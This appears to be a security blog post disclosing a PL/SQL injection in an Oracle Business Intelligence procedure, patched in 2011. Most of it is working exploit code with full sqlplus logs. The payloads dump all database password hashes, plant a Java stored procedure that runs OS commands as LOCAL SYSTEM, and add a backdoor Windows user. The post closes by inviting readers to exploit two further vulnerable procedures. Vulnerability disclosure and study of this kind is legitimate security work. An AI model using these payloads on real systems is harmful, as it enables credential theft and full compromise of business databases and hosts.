Close

HAVE QUESTIONS?

A partner account manager can help. Contact us today.

 Subscribe me to your mailing list

Hacking Oracle Business Intelligence

Here I will show some vulnerabilities founded in Oracle BI and hoe they can be founded and how a different exploits can be written. It will be based on vulnerabilities that was patched in April CPU 2011 by Oracle. Interesting moment that founded PL/SQL vulnerabilities founded in programs that executed by privileged user but not a DBA directly so it is more interesting to find out a way to get access to whole system using those rights.

1.PL/SQL Injection in OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID

Procedure OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID executes with rights of user OWBREPOS_OWNER and granted to PUBLIC user. So exploiting vulnerability in this procedure can give any user OWBREPOS_OWNER rights. OWBREPOS_OWNER has a number of critical Roles and privileges so executing vulnerabilities in OWBREPOS_OWNER can give attacker access to all database objects and even give him rights to execute OS commands.

Details
*******

PL/SQL Injection found in procedure OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID
Vulnerable parameters are:

Argument Name Type In/Out Default
------------------------------ ----------------------- ------ ------
P_CUBE_NAME VARCHAR2 IN
P_MEASURE_NAME VARCHAR2 IN
P_SOLVE_GROUP_ID VARCHAR2 IN

Argument P_CUBE_NAME is not sanitized so attacker can inject any sql code that can be executed in OWBREPOS_OWNER rights. OWBREPOS_OWNER is not DBA but he has a number of critical ROLES and PRIVILEGES that can be used see all data in database tables including user hashes and can be used for access to OS files execute OS commands and get a SYSDBA rights.

Critical roles and privileges are:
1. SELECT ANY DICTIONARY
2. JAVA_ADMIN
3. CREATE EXTERNAL JOB
4. CREATE ANY DIRECTORY

1.1 OWBREPOS_OWNER have privilege "SELECT ANY DICTIONARY"

So he can get to access password hashes and any other data in database.

example EXPLOIT:
****************

CREATE TABLE SH2KERR(id NUMBER, name VARCHAR(20),password VARCHAR(16));
CREATE OR REPLACE FUNCTION SHOWPASS return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'INSERT INTO SCOTT.sh2kerr(id,name,password) SELECT user_id,username,password FROM DBA_USERS';
COMMIT;
RETURN 'Z';
END;
/
grant execute on SHOWPASS to PUBLIC;
grant insert on sh2kerr to PUBLIC;
exec OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID('aaa''||SCOTT.SHOWPASS()||''aaa','bbb','bbb');
select * from sh2kerr;

DISASSEMBLY (here we can see a query where our code in injected)
***********

SQL> select sql_text from v$sql where sql_text like '%aaa%';

SQL_TEXT
--------------------------------------------------------------------------------

INSERT INTO OWB$$$_SOLVE_GROUP_IDS(CUBE_NAME, MEASURE_NAME, SOLVE_GROUP_ID) VALU

ES('aaa'||SCOTT.SHOWPASS()||'aaa', 'bbb', 'ccc')

select sql_text from v$sql where sql_text like '%aaa%'
BEGIN OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID('aaa''||SCOTT.SHOWPASS()||''aaa','b

bb','ccc'); END;

SQL>

EXPLOITING LOG
**********

C:\Documents and Settings\Alexandr.Polyakov>sqlplus scott/tiger@172.16.1.1/bi
se1db
SQL*Plus: Release 10.1.0.2.0 - Production on Tue Feb 17 19:59:18 2009
Copyright (c) 1982, 2004, Oracle. All rights reserved.
Connected to:
Oracle Database 10g Release 10.2.0.1.0 - Production

SQL> CREATE TABLE SH2KERR(id NUMBER,name VARCHAR(20),password VARCHAR(16));
Table created.
SQL>
SQL> CREATE OR REPLACE FUNCTION SHOWPASS return varchar2
2 authid current_user as
3 pragma autonomous_transaction;
4 BEGIN
5 EXECUTE IMMEDIATE 'INSERT INTO SCOTT.sh2kerr(id,name,password) SELECT user_
id,username,password FROM DBA_USERS';
6 COMMIT;
7 RETURN 'Z';
8 END;
9 /

Function created.

SQL> grant execute on SHOWPASS to PUBLIC;

Grant succeeded.

SQL> grant insert on sh2kerr to PUBLIC;
Grant succeeded.
SQL> exec OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID('aaa''||SCOTT.SHOWPASS()||''aaa','bbb','bbb');
PL/SQL procedure successfully completed.
SQL> select * from sh2kerr;

ID NAME PASSWORD
---------- -------------------- ----------------
87 MGMT_VIEW 7341A347*******
0 SYS 77E6B621*******
5 SYSTEM 00F69E7C*******
24 DBSNMP 2799F7BE*******
85 SYSMAN B74FA5204*******
79 OWBREPOS_USER 77B72F569*******
54 SCOTT F894844C3*******
63 BISE1_TUTORIALWH D41A12EB3*******

1.2. OWBREPOS_OWNER have role "JAVA_ADMIN"

So he can execute any OS level commands with privileges of owner of Oracle BI process (In windows by default it is LOCAL SYSTEM user) using for example this exploit:

EXPLOIT
*******

CREATE OR REPLACE FUNCTION "SCOTT"."SQLI" return varchar2
authid current_user as
pragma autonomous_transaction;
SqlCommand VARCHAR2(2048);

BEGIN
SqlCommand := '
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC_EXECUTEOS" AS
import java.lang.*;
import java.io.*;

public class ExecuteOS
{
public static void printFile (String fileName) throws IOException
{
File fileOut;
FileReader fileReaderOut;
BufferedReader buffReader;
String strRead;

fileOut = new File (fileName);
fileReaderOut = new FileReader (fileOut);
buffReader = new BufferedReader(fileReaderOut);
while ((strRead = buffReader.readLine()) != null)
System.out.println(strRead);
}

public static void execOSCmd (String cmd) throws IOException, java.lang.InterruptedException
{
String[] strCmd = {"cmd.exe", "/c", "1>c:\\stdout.txt", "2>c:\\stderr.txt", cmd};

System.out.println("==========\r\nExecuting OS command...");
Process p = Runtime.getRuntime().exec(strCmd);
p.waitFor();
System.out.println("\r\n==========\r\nThis was the STANDARD OUTPUT for the command:");
printFile ("c:\\stdout.txt");
System.out.println("\r\n==========\r\nThis was the ERROR OUTPUT for the command:");
printFile ("c:\\stderr.txt");
}
}';
execute immediate SqlCommand;

SqlCommand := '
CREATE OR REPLACE PROCEDURE "PROC_EXECUTEOS" (p_command varchar2)
AS LANGUAGE JAVA
NAME ''ExecuteOS.execOSCmd (java.lang.String)'';';
execute immediate SqlCommand;

execute immediate 'GRANT EXECUTE ON PROC_EXECUTEOS TO SCOTT';

commit; -- Must do a commit
return ''; -- Must return a value
END;
/

grant execute on SCOTT.SQLI to PUBLIC;
/

SET SERVEROUTPUT ON
/
exec OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID('aaa''||SCOTT.SQLI()||''aaa','bbb','bbb');
/
CALL dbms_java.set_output(1999);
/
EXEC OWBREPOS_OWNER.proc_executeos ('set');
/

EXPLOITING LOG
**************
C:\Documents and Settings\Alexandr.Polyakov>sqlplus scott/tiger@172.16.1.1/bi se1db

SQL*Plus: Release 10.1.0.2.0 - Production on Thu Mar 5 11:57:29 2009

Copyright (c) 1982, 2004, Oracle. All rights reserved.

Connected to: Oracle Database 10g Release 10.2.0.1.0 - Production

SQL> CREATE OR REPLACE FUNCTION "SCOTT"."SQLI" return varchar2
2 authid current_user as
3 pragma autonomous_transaction;
4 SqlCommand VARCHAR2(2048);
5
6 BEGIN
7 SqlCommand := '
8 CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC_EXECUTEOS" AS
9 import java.lang.*;
10 import java.io.*;
11
12 public class ExecuteOS
13 {
14 public static void printFile (String fileName) throws IOException
15 {
16 File fileOut;
17 FileReader fileReaderOut;
18 BufferedReader buffReader;
19 String strRead;
20
21 fileOut = new File (fileName);
22 fileReaderOut = new FileReader (fileOut);
23 buffReader = new BufferedReader(fileReaderOut);
24 while ((strRead = buffReader.readLine()) != null)
25 System.out.println(strRead);
26 }
27
28 public static void execOSCmd (String cmd) throws IOException, java.lang.I
nterruptedException
29 {
30 String[] strCmd = {"cmd.exe", "/c", "1>c:\\stdout.txt", "2>c:\\stderr.t xt", cmd};
31
32 System.out.println("==========\r\nExecuting OS command...");
33 Process p = Runtime.getRuntime().exec(strCmd);
34 p.waitFor();
35 System.out.println("\r\n==========\r\nThis was the STANDARD OUTPUT for the command:");
36 printFile ("c:\\stdout.txt");
37 System.out.println("\r\n==========\r\nThis was the ERROR OUTPUT for the command:");
38 printFile ("c:\\stderr.txt");
39 }
40 }';
41 execute immediate SqlCommand;
42
43 SqlCommand := '
44 CREATE OR REPLACE PROCEDURE "PROC_EXECUTEOS" (p_command varchar2)
45 AS LANGUAGE JAVA
46 NAME ''ExecuteOS.execOSCmd (java.lang.String)'';';
47 execute immediate SqlCommand;
48
49 execute immediate 'GRANT EXECUTE ON PROC_EXECUTEOS TO SCOTT';
50
51 commit; -- Must do a commit
52 return ''; -- Must return a value
53 END;
54 /

Function created.

SQL> grant execute on SCOTT.SQLI to PUBLIC
2 ;

Grant succeeded.

SQL> exec OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID('aaa''||SCOTT.SQLI()||''aaa','b bb','bbb');

PL/SQL procedure successfully completed. SQL> SET SERVEROUTPUT ON SQL> CALL dbms_java.set_output(1999);

Call completed.

SQL> EXEC OWBREPOS_OWNER.proc_executeos('set');

PL/SQL procedure successfully completed.

SQL> EXEC OWBREPOS_OWNER.proc_executeos('set');
==========
Executing OS command...
========== This was the STANDARD OUTPUT for the command: ALLUSERSPROFILE=C:\Documents and Settings\All Users ClusterLog=C:\WINDOWS\Cluster\cluster.log CommonProgramFiles=C:\Program Files\Common Files COMPUTERNAME=PINKERTON ComSpec=C:\WINDOWS\system32\cmd.exe FP_NO_HOST_CHECK=NO NUMBER_OF_PROCESSORS=1 ORACLE_SID=bise1db OS=Windows_NT Path=D:\oracle\bise1\bi\server\Bin;D:\oracle\bise1\bi\web\bin;D:\oracle\bise1\bi

\web\catalogmanager;D:\oracle\bise1\bi\SQLAnywhere;D:\oracle\bise1\jdk\bin;D:\or

acle\bise1\db\bin;D:\oracle\bise1\owb\bin;C:\WINDOWS\system32;C:\WINDOWS;C:\WIND

OWS\System32\Wb em . . PL/SQL procedure successfully completed.

SQL> EXEC OWBREPOS_OWNER.proc_executeos('net user hax hax /add'); ==========
Executing OS command...
==========
This was the STANDARD OUTPUT for the command:
==========
This was the ERROR OUTPUT for the command:

PL/SQL procedure successfully completed.

-------------------------------------------------------------------------------------------

1.3. OWBREPOS_OWNER have privelege "CREATE EXTERNAL JOB"

So he can execute any OS level command like in this exploit for example (http://milw0rm.com/exploits/7677)

1.4. OWBREPOS_OWNER have privilege "CREATE ANY DIRECTORY" So he can get the SYSDBA privileges or execute OS level command using for example this method http://www.oracleforensics.com/wordpress/wp-content/uploads/2008/10/create_any_directory_to_sysdba.pdf

Conclusion

So you see that even if you have pl/sql injection not only on SYS or SYSTEM package it is also possible to exploit system and even get access to Operation System and to ALL business data. By the way Oracle BI is using in many big companies to store Business data so it is a nice target for attack) You can also try to repeat these steps at home by trying to exploit similar vulnerabilities in:
1) WB_RT_AUDIT_SHADOW_TABLE
2) OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID

by sh2kerr